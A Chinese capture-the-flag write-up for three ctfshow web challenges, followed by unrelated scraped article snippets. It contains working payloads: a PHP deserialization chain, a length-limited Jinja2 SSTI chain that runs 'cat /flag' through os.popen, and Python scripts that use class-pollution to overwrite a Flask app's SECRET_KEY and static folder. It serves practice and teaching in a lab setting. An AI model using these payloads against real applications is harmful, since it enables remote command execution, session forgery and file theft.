ctfshow单身杯2024wp

devtools/2024/11/26 20:02:47/

文章目录

  • ctfshow单身杯2024wp
    • 签到·好玩的PHP
    • ezzz_ssti
    • ez_inject

ctfshow单身杯2024wp

签到·好玩的PHP

考点:序列化反序列化

 <?phperror_reporting(0);highlight_file(__FILE__);class ctfshow {private $d = '';private $s = '';private $b = '';private $ctf = '';public function __destruct() {$this->d = (string)$this->d;$this->s = (string)$this->s;$this->b = (string)$this->b;if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {$dsb = $this->d.$this->s.$this->b;if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {if (md5($dsb) === md5($this->ctf)) {echo file_get_contents("/flag.txt");}}}}}}unserialize($_GET["dsbctf"]); 

代码审计,发现需要传两个md5值相同的不同字符串,有长度限制不能进行强碰撞,尝试数组绕过也不行,这里注意到可以让其类型不同而值相同进行绕过,构造 pop 链

<?phpclass ctfshow {private $d = '1';private $s = '2';private $b = '3';private $ctf = 123;public function __destruct() {$this->d = (string)$this->d;$this->s = (string)$this->s;$this->b = (string)$this->b;}}$a = new ctfshow();
echo urlencode(serialize($a));
?>
//O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D

GET传入得到flag:ctfshow{ee28d4d9-8c54-4dc2-a1c4-5682bbbbe119}

ezzz_ssti

考点:ssti漏洞长度绕过

image-20241115134810233

输入111看看

image-20241115134844072

猜测存在ssti漏洞,所以用{{4*4}}验证,发现确实存在

image-20241115134947551

于是进行ssti漏洞注入,发现进行了字数限制,经过测试,发现限制在了40个字符以内

可以利用全局变量进行绕过,最后构造 payload

{%set x=config.update(a=config.update)%}
{%set x=config.a(f=lipsum.__globals__)%}
{%set x=config.a(o=config.f.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("cat /flag").read()}}

image-20241115140002044

ctfshow{89f67afc-5d2b-4de4-b700-2aaaa7428a7c}

ez_inject

考点:原型链污染

打开网页,发现是个登录窗口

image-20241125144046562

先随便注册登录一下看看。

image-20241125144209368

根据提示,知道在注册的地方可以进行原型链污染。

先看看cookie

image-20241125144334162

不是admin。而且这是flask的session,我们也不知道密码。

所以原型链污染直接将密码改变,然后根据密码自己构造一个session。

import requests
import jsonurl = "http://3b4e7805-6cda-4195-8501-75be8c9d1787.challenge.ctf.show/register"payload={"username": "wi","password": "wi","__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "baozongwi"}}}}
}r = requests.post(url=url, json=payload)print(r.text)

剩下的就是ssti注入,这是预期解

还有非预期解,直接原型链污染将静态目录污染成根目录,然后访问/static/flag就能拿到flag

import requests
import jsonurl = "https://d3dbdfcc-6bba-49fa-b4b5-6c5e00484791.challenge.ctf.show/register"payload={"username": "test","password": "test","__init__": {"__globals__": {"app": {"_static_folder":"/"}}}
}r = requests.post(url=url, json=payload,verify=False)print(r.text)

ctfshow{ad2c0de5-a09a-41d1-ac6a-546b0bf5ca3f}


http://www.ppmy.cn/devtools/137206.html

相关文章

Neural Magic 发布 LLM Compressor:提升大模型推理效率的新工具

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

Javaweb关于web.xml的相关配置信息

Javaweb关于web.xml的相关配置信息 初始页面 <!-- 规定加载进入的初始页面--> <welcome-file-list><welcome-file>/login.jsp</welcome-file> </welcome-file-list>配置Servlet <!--配置Servlet--> <servlet><servlet-name&g…

网络安全与加密

1.Base64简单说明描述&#xff1a;Base64可以成为密码学的基石&#xff0c;非常重要。特点&#xff1a;可以将任意的二进制数据进行Base64编码结果&#xff1a;所有的数据都能被编码为并只用65个字符就能表示的文本文件。65字符&#xff1a;A~Z a~z 0~9 / 对文件进行base64编码…

内嵌编辑器+AI助手,Wave Terminal打造终端新体验

作为新一代终端工具的佼佼者&#xff0c;Wave Terminal 突破性地将传统命令行与现代图形界面相结合&#xff0c;为开发者带来全新的操作体验。这款创新的开源终端工具跨越了操作系统的界限&#xff0c;完美支持 macOS、Windows 和 Linux 平台&#xff0c;特别适合需要频繁处理远…

深入解析分布式遗传算法及其Python实现

目录 深入解析分布式遗传算法及其Python实现目录第一部分:分布式遗传算法的背景与原理1.1 遗传算法概述1.2 分布式遗传算法的引入1.3 分布式遗传算法的优点与挑战优点:挑战:第二部分:分布式遗传算法的通用Python实现2.1 基本组件的实现第三部分:案例1 - 基于多种交叉与变异…

Java NIO 核心知识总结

在学习 NIO 之前&#xff0c;需要先了解一下计算机 I/O 模型的基础理论知识。还不了解的话&#xff0c;可以参考我写的这篇文章&#xff1a;Java IO 模型详解。 一、NIO 简介 在传统的 Java I/O 模型&#xff08;BIO&#xff09;中&#xff0c;I/O 操作是以阻塞的方式进行的。…

[Unity Demo]从零开始制作空洞骑士Hollow Knight第二十集:制作专门渲染HUD的相机HUD Camera和画布HUD Canvas

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、制作HUD Camera以及让两个相机同时渲染屏幕二、制作HUD Canvas 1.制作法力条Soul Orb引入库2.制作生命条Health读入数据3.制作吉欧统计数Geo Counter4.制作…

菊风视频能力平台开发服务正式入驻华为云云商店,成为华为云联营联运合作伙伴

日前&#xff0c;菊风视频能力平台开发服务正式入驻华为云云商店&#xff0c;成为华为云在实时音视频领域的联营联运合作伙伴。 菊风结合自身产品方案优势与华为云开放、共盈的生态优势强强联手&#xff0c;在推动金融行业数字化转型的路上又向前迈出了一大步。华为云云商店作为…